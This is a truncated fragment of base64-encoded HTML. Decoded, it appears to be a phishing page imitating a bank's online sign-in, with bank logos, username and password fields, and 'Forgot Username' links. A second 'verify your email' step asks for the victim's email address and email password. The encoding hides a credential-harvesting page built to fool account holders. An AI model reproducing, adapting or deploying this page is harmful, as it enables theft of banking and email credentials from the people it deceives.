XpNNDQuMiA4Ny43Yy00LjkgMS03LjcgMS40LTEyLjYgMS40LTcuMyAwLTEzLTMuNi0xMi43LTEwLjIuMi00LjQgNS40LTEzLjcgMTguNy0xMy43IDQuMiAwIDcuNC43IDExLjggMy4ybDEuOS0xMC44Yy02LTIuMy05LjktMi42LTE1LTIuNS0xNy40LjItMzQgOC4xLTM2LjEgMjQuMUMtMS45IDk1LjUgMTggOTkuNiAyNi44IDk5LjZjNS4xIDAgMTAuNC0uMiAxNS40LS43bDItMTEuMnpNMTY3LjYgNjcuN2wxLjEtNi4zIDE1LjktMy41LTEuNyA5LjhoNy44bC0xLjUgNi4zaC03LjVsLTQuNiAyNXMtMTUuMy0uMS0xNS40IDBsNC42LTI0LjloLTUuOGwxLjItNi4zaDUuOXpNMjQ1IDk4LjloLTE1LjVsNy44LTQzLjMgMTUuMS40TTExOC41IDc1LjFjLTIgMC0zLjguNi01LjQgMS44LTEuNiAxLjItMi42IDMtMyA1LjMtLjUgMi43LS4yIDQuNy45IDUuOSAxLjEgMS4yIDIuNiAxLjggNC43IDEuOCAxLjQgMCAyLjgtLjIgMy45LS44IDEuMy0uNyAyLjItMS40IDMtMi42LjgtMS4yIDEuNC0yLjUgMS43LTQuMS40LTIuNS4xLTQuMy0xLjEtNS41LTEuMi0xLjItMi44LTEuOC00LjctMS44em0tMjcuNyAzNC41TDk4LjIgNjhoMTMuM2wtMSA1LjNjMS4yLTEuNiAzLTIuOSA1LjYtNCAyLjYtMS4xIDUuNS0xLjggOC42LTEuOCAzLjUgMCA1LjYuMiA4LjIgMS41IDIuNiAxLjQgNC40IDMuMyA1LjQgNS45IDEgMi41IDEuMiA1LjQuNyA4LjUtLjkgNS4xLTMuNCA5LjItNy41IDEyLjJzLTcuNyAzLjgtMTMgMy44Yy0xLjkgMC0zLjQtLjItNC43LS41LTEuMy0uMy0yLjMtLjctMy0xLjItLjctLjUtMS41LTEuMi0yLjUtMi4zbC0yLjUgMTQuM2gtMTV6TTM2Ni42IDc4LjljLS4xLTIuNS0xLjMtNC4yLTMuOS00LjItNi4yIDAtMTIuOSAxMi4yLTE0IDE3LjEgMTAuMi4xIDE4LjEtNiAxNy45LTEyLjl6bTEuMyAxOS4ybDEuMi44Yy0zIDYuMi05LjIgMTEuMi0xNi41IDExLjItNS45IDAtMTAuOC00LTExLjEtMTEuNC0uNS0xMy4zIDEyLTI1LjcgMjIuMi0yNS43IDQuNCAwIDguNCAxLjkgOC42IDYuNi40IDEwLjYtMTQuNSAxMy44LTI0LjMgMTQtLjMgMS4xLS40IDIuMi0uNCAzLjkuMiA0LjQgMi44IDguMSA4LjMgOC4xIDQuOSAwIDkuNi0zLjggMTItNy41eiIvPjxwYXRoIGQ9Ik0zMDcgNzguNmMxLjEtLjEgMi44LS4zIDMuNS0uMyAxLjEgMCAyLjIuMiAyLjIgMS4zIDAgLjctMS4yIDUuNC0xLjQgNi41bC0yLjQgMTAuNGMtMSA0LjMtMiA4LjgtMi45IDEyLjNoNi4xbDMuNC0xNi42YzEwLjQtMTAuOSAxNC41LTE0LjQgMTYuOS0xNC40IDEuMSAwIDEuOS42IDEuOSAxLjkuMSAxLjktMS4xIDYuMy0xLjUgNy41bC0zLjUgMTIuMWMtLjggMi43LTEuNCA1LjItMS4zIDYuOS4xIDIuNyAxLjcgMy44IDQuMSAzLjggNC40IDAgNy43LTQuNiAxMC41LTkuMmwtLjgtMS41Yy0xLjEgMS44LTMuOCA1LjgtNS45IDUuOC0uNyAwLTEuMy0uNC0xLjMtMS41LS4xLTEuNC41LTMuNS45LTQuOWwzLjktMTQuMWMxLTMuOSAxLjUtNi40IDEuNS03LjctLjEtMi42LTEuNi0zLjktNC0zLjktNCAwLTkuMyAyLjktMjAuNiAxNS45aC0uMmwxLjQtNi4zYy44LTMuNSAxLjUtNy4xIDIuMy05LjYtMy45IDEuNC05LjUgMy0xMi45IDMuNmwuMSAyeiIvPjwvZz48cGF0aCBmaWxsPSIjMDA0OTc3IiBkPSJNMzczLjMgNjcuM2MwLTMuMSAyLjUtNS40IDUuNS01LjQgMi45IDAgNS41IDIuMyA1LjUgNS40IDAgMy4xLTIuNSA1LjQtNS41IDUuNC0zIC4xLTUuNS0yLjItNS41LTUuNHptNS41IDQuNmMyLjQgMCA0LjQtMS45IDQuNC00LjVzLTEuOS00LjUtNC40LTQuNWMtMi41IDAtNC40IDEuOS00LjQgNC41czEuOSA0LjUgNC40IDQuNXptLTEuMS0xLjRoLTF2LTYuMmgyLjRjMS41IDAgMi4yLjUgMi4yIDEuOCAwIDEuMS0uNyAxLjYtMS42IDEuN2wxLjggMi43aC0xLjFsLTEuNi0yLjdoLTEuMXYyLjd6bTEuMS0zLjVjLjggMCAxLjUtLjEgMS41LTEgMC0uOC0uNy0uOS0xLjQtLjloLTEuM1Y2N2gxLjJ6Ii8+PC9zdmc+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImVuQm94Ij4KICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYm94bWFwMS5uZXRsaWZ5LmFwcC9lbmNhcC5wbmciIGFsdD0iZW4iPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPCEtLS0tLSBzdGFydCBMZyBmb3JtIC0tPgogICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iZm9ybUNvbnRhaW4gZkxnIj4KICAgICAgICA8ZGl2IGNsYXNzPSJsZ0JveDIiPgogICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDM4NC4zIDEzMy43Ij48cGF0aCBmaWxsPSIjRDAzMDI3IiBkPSJNMjUyLjcgOTYuN2MtMTUuOSAxMS4zLTM0LjcgMjMuMS01NC45IDM1LjRsLS44LjVjLS4zLjItLjMuNi0uMS44LjIuMy42LjMuOC4xbC43LS40YzE3LjEtOC45IDM2LjgtMTkuNiA1Ni42LTMwLjUuMS0uMS4yLS4xLjMtLjItMS0xLjYtMS45LTMuNi0yLjYtNS43em0xMDQuMS04NC4zYy0yNS0yNy42LTE4NS44LTIuOC0yNTQuMiAxMi4ybC0xLjYuM2MtLjMuMS0uNS40LS41LjcuMS4zLjQuNS43LjVsMS42LS4zYzU2LjctMTAuMSAxNzQuNS0yNC4xIDE5OS45IDEuMSA3LjcgNy43IDUuOSAxNy42LTMuMSAyOS4yIDQuOCAzLjEgOC4zIDggOS44IDE0LjEgMzUtMjMuMyA1OC42LTQ1LjUgNDcuNC01Ny44eiIvPjxnIGZpbGw9IiMwMDQ5NzciPjxwYXRoIGQ9Ik0yNjIuOSA4OS40Yy4zIDkuNyA2LjUgMTcuNiAxNC41IDE3LjYgMTUuNSAwIDIyLjEtMTkgMjEuNy0zMS44LS4zLTkuNy02LjYtMTcuNy0xNC42LTE3LjctMTMuNS4yLTIyLjEgMTkuMS0yMS42IDMxLjl6bS04LjItLjVjLS42LTE2LjYgMTIuNC0zMy41IDMxLjItMzMuNSAxMi42IDAgMjAuOCA4LjQgMjEuMyAyMS4zLjYgMTcuNS0xMS41IDMzLjUtMzEuMiAzMy41LTEyLjYgMC0yMC45LTguNC0yMS4zLTIxLjN6TTc2LjIgODQuNWMtLjcuMy0xLjUuNS0yLjYuNy0xLjEuMi0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy42LTEuMiAxLjItMS4zIDItLjIuOS4xIDEuNS45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMWMtLjEgMS41LS4zIDIuOS0uNyA1LjJsLTIuOCAxNS42Yy0uMiAxLjQuMyAyLjUgMS42IDMuMmwtLjEuNkg3NC43bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNi00LjUuOS03LjYuOS01LjEgMC04LjEtLjUtMTAuMS0yLjMtMi4xLTEuOC0zLjEtMy0zLTUuNi4xLTEuNC44LTMuMyAxLjktNC42IDEuMS0xLjMgMi42LTIuMiA0LjItMi45QzU0IDgzIDU2IDgyLjUgNTguOCA4MmMyLjgtLjUgNi43LS45IDExLjktMS4zIDIuNy0uMiA0LjQtLjkgNS4yLTEuMiAxLjEtLjQgMS41LS45IDEuNy0xLjguMy0xLjYtLjItMi41LTIuMy0yLjktNS43LTEuMS0xNi40LjctMjIgMi4xbDMtOC4xYzcuMy0xLjEgMTQuMS0xLjcgMjEuMy0xLjcgMTEuNC0uMiAxNS4xIDMuMSAxNSA3LjN6TTEzOC42IDk4LjlsNS41LTMxLjFoMTUuMmwtNS41IDMxLjFoLTE1LjJ6bTYuMy0zOC4zYy41LTIuNiA0LjUtNC42IDktNC42czcuOCAyLjEgNy40IDQuNmMtLjUgMi42LTQuNSA0LjYtOSA0LjYtNC42LjEtNy44LTItNy40LTQuNnpNMjEzLjIgODQuNmMtLjcuMi0xLjYuNS0yLjYuNy0xLjEuMy0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy41LTEuMiAxLjItMS4zIDItLjIuOS4yIDEuNi45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMmMtLjEgMS41LS4zIDIuOS0uOCA1LjJMMjI2IDk1LjJjLS4yIDEuNC4zIDIuNSAxLjUgMy4ybC0uMS41aC0xNS45bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNy00LjYuOS03LjYuOS01LjEgMC04LS41LTEwLjEtMi4zLTIuMS0xLjgtMy4xLTMtMy01LjYuMS0xLjUuOC0zLjMgMS45LTQuNiAxLjEtMS4zIDIuNi0yLjIgNC4yLTMgMS42LS44IDMuNi0xLjMgNi4zLTEuOCAyLjgtLjQgNi43LS45IDEyLTEuMyAyLjctLjIgNC40LS44IDUuMi0xLjEgMS4xLS40IDEuNS0uOSAxLjctMS44LjMtMS42LS4yLTIuNS0yLjMtMi45LTUuNy0xLjEtMTYuNC43LTIyIDIuMWwzLTguMWM3LjMtMS4xIDE0LjEtMS44IDIxLjMtMS44IDExLjYuMSAxNS4zIDMuMyAxNS4yIDcuNXpNNDQuMiA4Ny43Yy00LjkgMS03LjcgMS40LTEyLjYgMS40LTcuMyAwLTEzLTMuNi0xMi43LTEwLjIuMi00LjQgNS40LTEzLjcgMTguNy0xMy43IDQuMiAwIDcuNC43IDExLjggMy4ybDEuOS0xMC44Yy02LTIuMy05LjktMi42LTE1LTIuNS0xNy40LjItMzQgOC4xLTM2LjEgMjQuMUMtMS45IDk1LjUgMTggOTkuNiAyNi44IDk5LjZjNS4xIDAgMTAuNC0uMiAxNS40LS43bDItMTEuMnpNMTY3LjYgNjcuN2wxLjEtNi4zIDE1LjktMy41LTEuNyA5LjhoNy44bC0xLjUgNi4zaC03LjVsLTQuNiAyNXMtMTUuMy0uMS0xNS40IDBsNC42LTI0LjloLTUuOGwxLjItNi4zaDUuOXpNMjQ1IDk4LjloLTE1LjVsNy44LTQzLjMgMTUuMS40TTExOC41IDc1LjFjLTIgMC0zLjguNi01LjQgMS44LTEuNiAxLjItMi42IDMtMyA1LjMtLjUgMi43LS4yIDQuNy45IDUuOSAxLjEgMS4yIDIuNiAxLjggNC43IDEuOCAxLjQgMCAyLjgtLjIgMy45LS44IDEuMy0uNyAyLjItMS40IDMtMi42LjgtMS4yIDEuNC0yLjUgMS43LTQuMS40LTIuNS4xLTQuMy0xLjEtNS41LTEuMi0xLjItMi44LTEuOC00LjctMS44em0tMjcuNyAzNC41TDk4LjIgNjhoMTMuM2wtMSA1LjNjMS4yLTEuNiAzLTIuOSA1LjYtNCAyLjYtMS4xIDUuNS0xLjggOC42LTEuOCAzLjUgMCA1LjYuMiA4LjIgMS41IDIuNiAxLjQgNC40IDMuMyA1LjQgNS45IDEgMi41IDEuMiA1LjQuNyA4LjUtLjkgNS4xLTMuNCA5LjItNy41IDEyLjJzLTcuNyAzLjgtMTMgMy44Yy0xLjkgMC0zLjQtLjItNC43LS41LTEuMy0uMy0yLjMtLjctMy0xLjItLjctLjUtMS41LTEuMi0yLjUtMi4zbC0yLjUgMTQuM2gtMTV6TTM2Ni42IDc4LjljLS4xLTIuNS0xLjMtNC4yLTMuOS00LjItNi4yIDAtMTIuOSAxMi4yLTE0IDE3LjEgMTAuMi4xIDE4LjEtNiAxNy45LTEyLjl6bTEuMyAxOS4ybDEuMi44Yy0zIDYuMi05LjIgMTEuMi0xNi41IDExLjItNS45IDAtMTAuOC00LTExLjEtMTEuNC0uNS0xMy4zIDEyLTI1LjcgMjIuMi0yNS43IDQuNCAwIDguNCAxLjkgOC42IDYuNi40IDEwLjYtMTQuNSAxMy44LTI0LjMgMTQtLjMgMS4xLS40IDIuMi0uNCAzLjkuMiA0LjQgMi44IDguMSA4LjMgOC4xIDQuOSAwIDkuNi0zLjggMTItNy41eiIvPjxwYXRoIGQ9Ik0zMDcgNzguNmMxLjEtLjEgMi44LS4zIDMuNS0uMyAxLjEgMCAyLjIuMiAyLjIgMS4zIDAgLjctMS4yIDUuNC0xLjQgNi41bC0yLjQgMTAuNGMtMSA0LjMtMiA4LjgtMi45IDEyLjNoNi4xbDMuNC0xNi42YzEwLjQtMTAuOSAxNC41LTE0LjQgMTYuOS0xNC40IDEuMSAwIDEuOS42IDEuOSAxLjkuMSAxLjktMS4xIDYuMy0xLjUgNy41bC0zLjUgMTIuMWMtLjggMi43LTEuNCA1LjItMS4zIDYuOS4xIDIuNyAxLjcgMy44IDQuMSAzLjggNC40IDAgNy43LTQuNiAxMC41LTkuMmwtLjgtMS41Yy0xLjEgMS44LTMuOCA1LjgtNS45IDUuOC0uNyAwLTEuMy0uNC0xLjMtMS41LS4xLTEuNC41LTMuNS45LTQuOWwzLjktMTQuMWMxLTMuOSAxLjUtNi40IDEuNS03LjctLjEtMi42LTEuNi0zLjktNC0zLjktNCAwLTkuMyAyLjktMjAuNiAxNS45aC0uMmwxLjQtNi4zYy44LTMuNSAxLjUtNy4xIDIuMy05LjYtMy45IDEuNC05LjUgMy0xMi45IDMuNmwuMSAyeiIvPjwvZz48cGF0aCBmaWxsPSIjMDA0OTc3IiBkPSJNMzczLjMgNjcuM2MwLTMuMSAyLjUtNS40IDUuNS01LjQgMi45IDAgNS41IDIuMyA1LjUgNS40IDAgMy4xLTIuNSA1LjQtNS41IDUuNC0zIC4xLTUuNS0yLjItNS41LTUuNHptNS41IDQuNmMyLjQgMCA0LjQtMS45IDQuNC00LjVzLTEuOS00LjUtNC40LTQuNWMtMi41IDAtNC40IDEuOS00LjQgNC41czEuOSA0LjUgNC40IDQuNXptLTEuMS0xLjRoLTF2LTYuMmgyLjRjMS41IDAgMi4yLjUgMi4yIDEuOCAwIDEuMS0uNyAxLjYtMS42IDEuN2wxLjggMi43aC0xLjFsLTEuNi0yLjdoLTEuMXYyLjd6bTEuMS0zLjVjLjggMCAxLjUtLjEgMS41LTEgMC0uOC0uNy0uOS0xLjQtLjloLTEuM1Y2N2gxLjJ6Ii8+PC9zdmc+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InNpZ25UZXh0Ij4KICAgICAgICAgICAgPGgyPlNpZ24gSW48L2gyPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvciBlcnJtc2cxIGhpZGUiPgogICAgICAgICAgICA8c3Bhbj5JbnZhbGlkIFVzZXJuYW1lIG9yIFBhc3N3b3JkLCB0cnkgYWdhaW48L3NwYW4+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImlucEJveHNpZGUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+VXNlcm5hbWU8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYSIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVtZWJUZXh0Qm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlbWVCb3giPjwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVtZVRleHQiPgogICAgICAgICAgICAgICAgICAgIDxzcGFuPlJlbWVtYmVyIE1lPC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5TaWduIGluPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcmdvdCI+CiAgICAgICAgICAgICAgICA8c3Bhbj5Gb3Jnb3QgVXNlcm5hbWUgb3IgUGFzc3dvcmQ/PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3Jnb3QiPgogICAgICAgICAgICAgICAgPHNwYW4+U2V0IFVwIE9ubGluZSBBY2Nlc3M8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKCiAgICA8ZGl2IGNsYXNzPSJmTGdGb290Ij4KICAgICAgICA8c3BhbiBjbGFzcz0ic3AxIj5Mb29raW5nIGZvciB0aGVzZSBhY2NvdW50cz88L3NwYW4+CiAgICAgICAgPHNwYW4gY2xhc3M9InNwMiI+Q29tbWVyY2lhbCBvciBUcmFkZSBDcmVkaXQ8L3NwYW4+CiAgICA8L2Rpdj4KCiAgICA8IS0tLS0tIGVuZCBMZyBmb3JtIC0tPgoKCiAgICA8ZGl2IGNsYXNzPSJ2YWxpZEJveCBoaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbWdWYSI+CiAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDEwMCAxMDAiPjxnIGlkPSJhMzdiZjZiMC0wM2U5LTQ4MTgtYjRmMy0wNTUxY2M3ZmFhOTkiIGRhdGEtbmFtZT0iQWN0aXZhdGlvbiBMYXllciI+PGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNTAiIGZpbGw9IiMyNjYwODIiLz48cGF0aCBkPSJNOTAuOSw4MS4xNEM4NC41Nyw3NS41LDc4LDY5Ljg5LDc2LjI3LDY4LjYxYTMwLjg5LDMwLjg5LDAsMCwxLTcuMTQsNy4yOWMxLjM2LDIuMTEsNi41NSw4Ljc4LDExLjc1LDE1LjE5QTQ5LjczLDQ5LjczLDAsMCwwLDkwLjksODEuMTRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiMxYWI3ZDciLz48cGF0aCBkPSJNNTEsMjAuMTJBMzAuODgsMzAuODgsMCwxLDAsODEuODgsNTEsMzAuODgsMzAuODgsMCwwLDAsNTEsMjAuMTJaTTUxLDc2QTI1LDI1LDAsMSwxLDc2LDUxLDI1LDI1LDAsMCwxLDUxLDc2WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZmZmIi8+PHBhdGggZD0iTTY4LjEsNDMuNjRhMS40OCwxLjQ4LDAsMCwxLTEuMzEtLjhBMTcuNzQsMTcuNzQsMCwwLDAsNTEsMzMuMjJhMTguNDgsMTguNDgsMCwwLDAtMy4zMi4zMSwxLjQ3LDEuNDcsMCwwLDEtLjU0LTIuODlBMjAuNzQsMjAuNzQsMCwwLDEsNjkuNDEsNDEuNDlhMS40NywxLjQ3LDAsMCwxLS42MywyQTEuNTIsMS41MiwwLDAsMSw2OC4xLDQzLjY0WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjODZkNWVkIi8+PHBhdGggZD0iTTc3LjExLDcyLjE3YS43My43MywwLDAsMC0xLC4xMi43NS43NSwwLDAsMCwuMTIsMWMyLjU3LDIsNy4xLDYuMDksMTIuMTMsMTAuODlsMCwwcS41LS41NiwxLTEuMTFDODQuMjgsNzguMzMsNzkuNzEsNzQuMjEsNzcuMTEsNzIuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNjN2U5ZjMiLz48ZyBpZD0iYWUxMGRjNGEtMjkzMC00Mzg2LWI4NjYtYTE0MGQ1ZGJjYmM2IiBkYXRhLW5hbWU9IjM5Ij48cGF0aCBkPSJNNjguNiwyMmExLDEsMCwwLDEtLjI1LS45NGwxLjUxLTUuNjlhMSwxLDAsMCwxLDEuOS41MWwtMS41Miw1LjY4YTEsMSwwLDAsMS0xLjIuNjlBLjkyLjkyLDAsMCwxLDY4LjYsMjJaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNNzUuODQsMjYuMTdhMSwxLDAsMCwxLDAtMS4zOUw4MCwyMC42MmExLDEsMCwwLDEsMS4zOSwwLDEsMSwwLDAsMSwwLDEuMzhsLTQuMTYsNC4xN0ExLDEsMCwwLDEsNzUuODQsMjYuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNODAsMzMuNGExLDEsMCwwLDEtLjI2LS40NCwxLDEsMCwwLDEsLjctMS4ybDUuNjgtMS41MmExLDEsMCwwLDEsLjUxLDEuODlMODEsMzMuNjVBMSwxLDAsMCwxLDgwLDMzLjRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48L2c+PGcgaWQ9ImJhNWNkMDRkLWE0MGQtNDNlNy1hM2I4LWYyMzQ1ODA0MGI0ZCIgZGF0YS1uYW1lPSIzOSI+PHBhdGggZD0iTTMzLjM5LDgwYS45NC45NCwwLDAsMSwuMjUuOTRsLTEuNTEsNS42OWExLDEsMCwwLDEtMS44OS0uNTFsMS41MS01LjY4YTEsMSwwLDAsMSwxLjItLjdBMSwxLDAsMCwxLDMzLjM5LDgwWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTI2LjE1LDc1LjgzYTEsMSwwLDAsMSwwLDEuMzlMMjIsODEuMzhhMSwxLDAsMCwxLTEuMzgsMCwxLDEsMCwwLDEsMC0xLjM5bDQuMTYtNC4xNkExLDEsMCwwLDEsMjYuMTUsNzUuODNaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNMjIsNjguNmEuODUuODUsMCwwLDEsLjI1LjQzLDEsMSwwLDAsMS0uNjksMS4yMWwtNS42OCwxLjUyYTEsMSwwLDAsMS0uNTEtMS45TDIxLDY4LjM0QTEsMSwwLDAsMSwyMiw2OC42WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PC9nPjwvZz48L3N2Zz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iYm94VGV4dCI+CiAgICAgICAgICAgIDxoMj5MZXQncyBWZXJpZnkgeW91ciBFbWFpbCBhZGRyZXNzPC9oMj4KICAgICAgICAgICAgPHA+VG8gY29udGludWUsIHBsZWFzZSBoZWxwIHVzIHZlcmlmeSB5b3VyIGVtYWlsIGluZm9ybWF0aW9uPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgICA8IS0tLS0tIHN0YXJ0IEVtIGZvcm0gLS0+CiAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJmb3JtQ29udGFpbiBmRW1Cb3ggaGlkZSI+CgogICAgICAgIDxkaXYgY2xhc3M9ImVycm9yIGVycm1zZzIgZW0yZXJyMiBoaWRlIj4KICAgICAgICAgICAgPHNwYW4+SW52YWxpZCBlbWFpbCBvciBwYXNzd29yZCwgdHJ5IGFnYWluPC9zcGFuPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVtYWlsIGFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJlbSIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5FbWFpbCBQYXNzd29yZDwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgIAogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKCgoKICAgIDxkaXYgY2xhc3M9InZhbGlkQm94IHZhbGlkQm94MiBoaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbWdWYSI+CiAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDEwMCAxMDAiPjxnIGlkPSJhMzdiZjZiMC0wM2U5LTQ4MTgtYjRmMy0wNTUxY2M3ZmFhOTkiIGRhdGEtbmFtZT0iQWN0aXZhdGlvbiBMYXllciI+PGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNTAiIGZpbGw9IiMyNjYwODIiLz48cGF0aCBkPSJNOTAuOSw4MS4xNEM4NC41Nyw3NS41LDc4LDY5Ljg5LDc2LjI3LDY4LjYxYTMwLjg5LDMwLjg5LDAsMCwxLTcuMTQsNy4yOWMxLjM2LDIuMTEsNi41NSw4Ljc4LDExLjc1LDE1LjE5QTQ5LjczLDQ5LjczLDAsMCwwLDkwLjksODEuMTRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiMxYWI3ZDciLz48cGF0aCBkPSJNNTEsMjAuMTJBMzAuODgsMzAuODgsMCwxLDAsODEuODgsNTEsMzAuODgsMzAuODgsMCwwLDAsNTEsMjAuMTJaTTUxLDc2QTI1LDI1LDAsMSwxLDc2LDUxLDI1LDI1LDAsMCwxLDUxLDc2WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZmZmIi8+PHBhdGggZD0iTTY4LjEsNDMuNjRhMS40OCwxLjQ4LDAsMCwxLTEuMzEtLjhBMTcuNzQsMTcuNzQsMCwwLDAsNTEsMzMuMjJhMTguNDgsMTguNDgsMCwwLDAtMy4zMi4zMSwxLjQ3LDEuNDcsMCwwLDEtLjU0LTIuODlBMjAuNzQsMjAuNzQsMCwwLDEsNjkuNDEsNDEuNDlhMS40NywxLjQ3LDAsMCwxLS42MywyQTEuNTIsMS41MiwwLDAsMSw2OC4xLDQzLjY0WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjODZkNWVkIi8+PHBhdGggZD0iTTc3LjExLDcyLjE3YS43My43MywwLDAsMC0xLC4xMi43NS43NSwwLDAsMCwuMTIsMWMyLjU3LDIsNy4xLDYuMDksMTIuMTMsMTAuODlsMCwwcS41LS41NiwxLTEuMTFDODQuMjgsNzguMzMsNzkuNzEsNzQuMjEsNzcuMTEsNzIuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNjN2U5ZjMiLz48ZyBpZD0iYWUxMGRjNGEtMjkzMC00Mzg2LWI4NjYtYTE0MGQ1ZGJjYmM2IiBkYXRhLW5hbWU9IjM5Ij48cGF0aCBkPSJNNjguNiwyMmExLDEsMCwwLDEtLjI1LS45NGwxLjUxLTUuNjlhMSwxLDAsMCwxLDEuOS41MWwtMS41Miw1LjY4YTEsMSwwLDAsMS0xLjIuNjlBLjkyLjkyLDAsMCwxLDY4LjYs